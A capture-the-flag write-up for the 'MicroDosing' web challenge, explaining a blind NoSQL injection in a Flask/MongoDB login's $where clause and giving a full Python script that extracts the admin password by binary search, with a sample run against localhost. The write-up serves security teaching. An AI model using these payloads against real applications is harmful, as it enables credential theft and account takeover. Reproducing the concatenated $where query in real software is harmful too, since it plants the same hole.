Flash CTF – MicroDosing

Challenge Overview

MicroDosing is a web application that looks like a legitimate medication titration research platform. It’s got a clean interface and realistic functionality, but there’s a NoSQL injection vulnerability in the login system. What makes this interesting is that it’s not your typical injection challenge – you can’t just use simple boolean injection to bypass authentication.

Challenge Analysis

Application Structure

The app is built with Flask and MongoDB. It has:

  • User registration and login
  • Research data dashboard
  • Admin panel (where the flag is)

Key Constraints

  1. Character Limit: Input fields are limited to 40 characters (but this barely matters)
  2. Boolean Injection Protection: Simple boolean injection is blocked
  3. Password Extraction Required: You need to extract the actual admin password
  4. Blind Injection Only: We can diferentiate true and false, but we don’t get any NoSQL output directly

Vulnerability Analysis

The NoSQL Injection Point

The bug is in the login endpoint (/login) where user input gets concatenated into a MongoDB $where clause:

query = {
    '$where': f"this.username == '{username}' && this.password == '{password}'"
}

This gives us a NoSQL injection, but there’s a catch:

if user:
    # They check that the returned user matches the input exactly
    if user['username'] == username and user['password'] == password:
        # Login successful
    else:
        flash('Something went wrong.', 'error')

Why Simple Boolean Injection Doesn’t Work

The app does two checks:

  1. Database Query: Uses your injected $where clause to find users
  2. Application Check: Makes sure the returned user’s credentials match your input exactly

So if you try '||1==1||', it’ll find the admin user but fail the second check and give you “Something went wrong” instead of access to the admin account.

Exploitation Strategy

Phase 1: Character-by-Character Password Extraction

Since we need the actual admin password, we have to extract it character by character. I used binary search to make this efficient:

def extract_password(base_url, session):
    """Extract admin password using binary search"""
    print("[+] Extracting admin password...")
    
    charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+")
    password = ""
    pos = 0
    
    while True:
        print(f"[+] Position {pos}: ", end="")
        
        # Binary search for character
        left, right = 0, len(charset) - 1
        
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            
            payload = f"admin' && this.password[{pos}]<'{char}' || '"
            
            if len(payload) > 40:
                continue
            
            result = test_injection(payload, base_url, session)
            
            if result == "USER_FOUND":
                right = mid - 1
            else:
                left = mid + 1
        
        # Find exact character
        if left < len(charset):
            exact_char = charset[left]
            exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
            
            if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
                password += exact_char
                print(f"Found '{exact_char}'")
                pos += 1
                continue
        
        # Try character before left position
        if left > 0:
            exact_char = charset[left - 1]
            exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
            
            if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
                password += exact_char
                print(f"Found '{exact_char}'")
                pos += 1
                continue
        
        print("End of password")
        break
    
    return password

Phase 2: Response Analysis

The exploit checks response patterns to see if injection worked:

def test_injection(payload, base_url, session):
    """Test a NoSQL injection payload and return response type"""
    try:
        data = {
            'username': payload,
            'password': 'anything'
        }
        response = session.post(f"{base_url}/login", data=data, timeout=10)
        
        if 'Something went wrong' in response.text:
            return "USER_FOUND"
        else:
            return "NO_USER"
    except Exception as e:
        return "ERROR"

The Complete Exploit

#!/usr/bin/env python3

import requests
import string
import re
import sys

def test_injection(payload, base_url, session):
    """Test a NoSQL injection payload and return response type"""
    try:
        data = {
            'username': payload,
            'password': 'anything'
        }
        response = session.post(f"{base_url}/login", data=data, timeout=10)
        
        if 'Something went wrong' in response.text:
            return "USER_FOUND"
        else:
            return "NO_USER"
    except Exception as e:
        return "ERROR"

def extract_password(base_url, session):
    """Extract admin password using binary search"""
    print("[+] Extracting admin password...")
    
    charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+")
    password = ""
    pos = 0
    
    while True:
        print(f"[+] Position {pos}: ", end="")
        
        # Binary search for character
        left, right = 0, len(charset) - 1
        
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            
            payload = f"admin' && this.password[{pos}]<'{char}' || '"
            
            if len(payload) > 40:
                continue
            
            result = test_injection(payload, base_url, session)
            
            if result == "USER_FOUND":
                right = mid - 1
            else:
                left = mid + 1
        
        # Find exact character
        if left < len(charset):
            exact_char = charset[left]
            exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
            
            if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
                password += exact_char
                print(f"Found '{exact_char}'")
                pos += 1
                continue
        
        # Try character before left position
        if left > 0:
            exact_char = charset[left - 1]
            exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
            
            if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
                password += exact_char
                print(f"Found '{exact_char}'")
                pos += 1
                continue
        
        print("End of password")
        break
    
    return password

def login_and_get_flag(base_url, session, password):
    """Login as admin and get the flag"""
    print(f"[+] Logging in as admin with password: {password}")
    
    data = {
        'username': 'admin',
        'password': password
    }
    
    response = session.post(f"{base_url}/login", data=data, timeout=10)
    
    if 'dashboard' in response.text or 'redirect' in response.text:
        print("[+] Login successful!")
        
        # Get flag from admin panel
        response = session.get(f"{base_url}/admin", timeout=10)
        
        matches = re.findall(r'MetaCTF\{[^}]+\}', response.text, re.IGNORECASE)
        for match in matches:
            print(f"[+] Flag: {match}")
            return match
        
        print("[-] Flag not found")
        return None
    else:
        print("[-] Login failed")
        return None

def main():
    if len(sys.argv) != 2:
        print("Usage: python solve.py <target_url>")
        print("Example: python solve.py http://localhost:5000")
        sys.exit(1)
    
    base_url = sys.argv[1].rstrip('/')
    session = requests.Session()

    print(f"[+] Target: {base_url}")
    print()
    
    # Extract password
    password = extract_password(base_url, session)
    if not password:
        print("[-] Failed to extract password")
        sys.exit(1)
    
    print(f"[+] Extracted password: {password}")
    print()
    
    # Login and get flag
    flag = login_and_get_flag(base_url, session, password)
    if not flag:
        print("[-] Failed to get flag")
        sys.exit(1)
    
    print("[+] Exploitation successful!")

if __name__ == "__main__":
    main()

Execution Flow

  1. Password Extraction: Use binary search to extract admin password character by character
  2. Authentication: Login with the extracted credentials
  3. Flag Retrieval: Access the admin panel to retrieve the flag

Execution Example

$ python3 solve.py http://localhost:5000

[+] Target: http://localhost:5000

[+] Extracting admin password...
[+] Position 0: Found '9'
[+] Position 1: Found 'b'
[+] Position 2: Found '0'
[+] Position 3: Found '1'
[+] Position 4: Found 'a'
[+] Position 5: Found 'c'
[+] Position 6: Found 'c'
[+] Position 7: Found '8'
[+] Position 8: Found '6'
[+] Position 9: Found '2'
[+] Position 10: Found 'c'
[+] Position 11: Found '5'
[+] Position 12: Found '7'
End of password

[+] Extracted password: 9b01acc862c57

[+] Logging in as admin with password: 9b01acc862c57
[+] Login successful!
[+] Flag: MetaCTF{n0_sql_bu7_c3r74inly_4n_inj3ct7i0n}

[+] Exploitation successful!